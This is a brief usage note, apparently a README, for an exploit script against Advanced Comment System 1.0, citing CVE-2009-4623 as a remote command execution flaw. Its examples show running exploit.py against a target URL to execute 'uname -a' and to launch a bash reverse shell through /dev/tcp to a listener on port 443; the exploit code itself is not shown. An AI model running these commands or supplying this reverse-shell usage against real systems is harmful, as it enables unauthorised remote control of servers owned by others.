Advanced Comment System 1.0 - Remote Command Execution (RCE) https://nvd.nist.gov/vuln/detail/CVE-2009-4623 Examples python3 exploit.py http://127.0.0.1 uname -a python3 exploit.py http://127.0.0.1 'bash -i >& /dev/tcp/127.0.0.1/443 0>&1'